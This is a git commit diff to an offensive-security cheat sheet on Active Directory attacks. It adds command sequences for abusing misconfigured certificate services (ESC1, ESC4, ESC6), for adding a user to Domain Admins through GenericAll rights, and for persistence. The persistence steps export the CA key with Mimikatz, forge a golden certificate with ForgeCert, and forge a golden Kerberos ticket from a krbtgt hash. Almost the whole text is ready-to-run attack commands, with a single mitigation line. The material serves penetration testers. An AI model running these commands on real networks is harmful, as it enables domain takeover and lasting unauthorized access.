ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2 + Golden Certificate

This commit is contained in:
Swissky 2022-01-01 20:42:58 +01:00
parent c5b49ec497
commit b5df6e1447
2 changed files with 83 additions and 6 deletions

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@ -76,6 +76,7 @@
- [ESC1 - Misconfigured Certificate Templates](#esc1---misconfigured-certificate-templates)
- [ESC2 - Misconfigured Certificate Templates](#esc2---misconfigured-certificate-templates)
- [ESC4 - Access Control Vulnerabilities](#esc4---access-control-vulnerabilities)
* [ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2 ](#esc6---editf_attributesubjectaltname2)
- [ESC8 - AD CS Relay Attack](#esc8---ad-cs-relay-attack)
- [Dangerous Built-in Groups Usage](#dangerous-built-in-groups-usage)
- [Abusing Active Directory ACLs/ACEs](#abusing-active-directory-aclsaces)
@ -2182,7 +2183,8 @@ secretsdump.py -k -no-pass target.lab.local
### Active Directory Certificate Services
Find ADCS Server : `crackmapexec ldap domain.lab -u username -p password -M adcs`
* Find ADCS Server : `crackmapexec ldap domain.lab -u username -p password -M adcs`
* Enumerate AD Enterprise CAs with certutil: `certutil.exe -config - -ping`
#### ESC1 - Misconfigured Certificate Templates
@ -2197,6 +2199,7 @@ Exploitation:
* Use [Certify.exe](https://github.com/GhostPack/Certify) to see if there are any vulnerable templates
```ps1
Certify.exe find /vulnerable
Certify.exe find /vulnerable /currentuser
or
PS> Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))' -SearchBase 'CN=Configuration,DC=lab,DC=local'
```
@ -2223,7 +2226,7 @@ Exploitation:
#### ESC2 - Misconfigured Certificate Templates
Requirements:
* Allows requesters to specify a SAN in the CSR as well as allows Any Purpose EKU (2.5.29.37.0)
* Allows requesters to specify a Subject Alternative Name (SAN) in the CSR as well as allows Any Purpose EKU (2.5.29.37.0)
Exploitation:
* Find template
@ -2235,6 +2238,8 @@ Exploitation:
#### ESC4 - Access Control Vulnerabilities
> Enabling the `mspki-certificate-name-flag` flag for a template that allows for domain authentication, allow attackers to "push a misconfiguration to a template leading to ESC1 vulnerability
* Search for `WriteProperty` with value `00000000-0000-0000-0000-000000000000` using [modifyCertTemplate](https://github.com/fortalice/modifyCertTemplate)
```ps1
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -get-acl
@ -2242,12 +2247,32 @@ Exploitation:
* Add the `ENROLLEE_SUPPLIES_SUBJECT` (ESS) flag to perform ESC1
```ps1
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -add enrollee_supplies_subject -property mspki-Certificate-Name-Flag
# Add/remove ENROLLEE_SUPPLIES_SUBJECT flag from the WebServer template.
C:\>StandIn.exe --adcs --filter WebServer --ess --add
```
* Perform ESC1 and then restore the value
```ps1
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -value 0 -property mspki-Certificate-Name-Flag
```
#### ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2
> If this flag is set on the CA, any request (including when the subject is built from Active Directory) can have user defined values in the subject alternative name.
Exploitation:
* Use [Certify.exe](https://github.com/GhostPack/Certify) to check for **UserSpecifiedSAN** flag state which refers to the `EDITF_ATTRIBUTESUBJECTALTNAME2` flag.
```ps1
Certify.exe cas
```
* Request a certificate for a template and add an altname, even though the default `User` template doesn't normally allow to specify alternative names
```ps1
.\Certify.exe request /ca:dc.domain.local\domain-DC-CA /template:User /altname:DomAdmin
```
Mitigation:
* Remove the flag : `certutil.exe -config "CA01.domain.local\CA01" -setreg "policy\EditFlags" -EDITF_ATTRIBUTESUBJECTALTNAME2`
#### ESC8 - AD CS Relay Attack
@ -2363,13 +2388,13 @@ ADACLScan.ps1 -Base "DC=contoso;DC=com" -Filter "(&(AdminCount=1))" -Scope subtr
#### GenericAll
* **GenericAll on User** : We can reset user's password without knowing the current password
* **GenericAll on Group** : Effectively, this allows us to add ourselves (the user spotless) to the Domain Admin group :
* On Windows : `net group "domain admins" spotless /add /domain`
* **GenericAll on Group** : Effectively, this allows us to add ourselves (the user hacker) to the Domain Admin group :
* On Windows : `net group "domain admins" hacker /add /domain`
* On Linux:
* using the Samba software suite :
`net rpc group ADDMEM "GROUP NAME" UserToAdd -U 'AttackerUser%MyPassword' -W DOMAIN -I [DC IP]`
`net rpc group ADDMEM "GROUP NAME" UserToAdd -U 'hacker%MyPassword123' -W DOMAIN -I [DC IP]`
* using bloodyAD:
`bloodyAD.py --host [DC IP] -d DOMAIN -u AttackerUser -p MyPassword addObjectToGroup UserToAdd 'GROUP NAME'`
`bloodyAD.py --host [DC IP] -d DOMAIN -u hacker -p MyPassword123 addObjectToGroup UserToAdd 'GROUP NAME'`
* **GenericAll/GenericWrite** : We can set a **SPN** on a target account, request a TGS, then grab its hash and kerberoast it.
```powershell

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@ -29,6 +29,9 @@
* [sethc.exe](#sethc.exe)
* [Remote Desktop Services Shadowing](#remote-desktop-services-shadowing)
* [Skeleton Key](#skeleton-key)
* [Domain](#domain)
* [Golden Certificate](#golden-certificate)
* [Golden Ticket](#golden-ticket)
* [References](#references)
@ -381,6 +384,54 @@ Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"' -ComputerName <DC
Enter-PSSession -ComputerName <AnyMachineYouLike> -Credential <Domain>\Administrator
```
## Domain
### User Certificate
```ps1
# Request a certificate for the User template
.\Certify.exe request /ca:CA01.megacorp.local\CA01 /template:User
# Convert the certificate for Rubeus
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
# Request a TGT using the certificate
.\Rubeus.exe asktgt /user:username /certificate:C:\Temp\cert.pfx /password:Passw0rd123!
```
### Golden Certificate
> Require elevated privileges in the Active Directory, or on the ADCS machine
* Export CA as p12 file: `certsrv.msc` > `Right Click` > `Back up CA...`
* Alternative 1: Using Mimikatz you can extract the certificate as PFX/DER
```ps1
privilege::debug
crypto::capi
crypto::cng
crypto::certificates /systemstore:local_machine /store:my /export
```
* Alternative 2: Using SharpDPAPI, then convert the certificate: `openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx`
* [ForgeCert](https://github.com/GhostPack/ForgeCert) - Forge a certificate for any active domain user using the CA certificate
```ps1
ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123 --Subject CN=User --SubjectAltName harry@lab.local --NewCertPath harry.pfx --NewCertPassword Password123
ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123 --Subject CN=User --SubjectAltName DC$@lab.local --NewCertPath dc.pfx --NewCertPassword Password123
```
* Finally you can request a TGT using the Certificate
```ps1
Rubeus.exe asktgt /user:ron /certificate:harry.pfx /password:Password123
```
### Golden Ticket
> Forge a Golden ticket using Mimikatz
```ps1
kerberos::purge
kerberos::golden /user:evil /domain:pentestlab.local /sid:S-1-5-21-3737340914-2019594255-2413685307 /krbtgt:d125e4f69c851529045ec95ca80fa37e /ticket:evil.tck /ptt
kerberos::tgt
```
## References
* [A view of persistence - Rastamouse](https://rastamouse.me/2018/03/a-view-of-persistence/)
@ -393,3 +444,4 @@ Enter-PSSession -ComputerName <AnyMachineYouLike> -Credential <Domain>\Administr
* [Persistence - BITS Jobs - @netbiosX](https://pentestlab.blog/2019/10/30/persistence-bits-jobs/)
* [Persistence Image File Execution Options Injection - @netbiosX](https://pentestlab.blog/2020/01/13/persistence-image-file-execution-options-injection/)
* [Persistence Registry Run Keys - @netbiosX](https://pentestlab.blog/2019/10/01/persistence-registry-run-keys/)
* [Golden Certificate - NOVEMBER 15, 2021](https://pentestlab.blog/2021/11/15/golden-certificate/)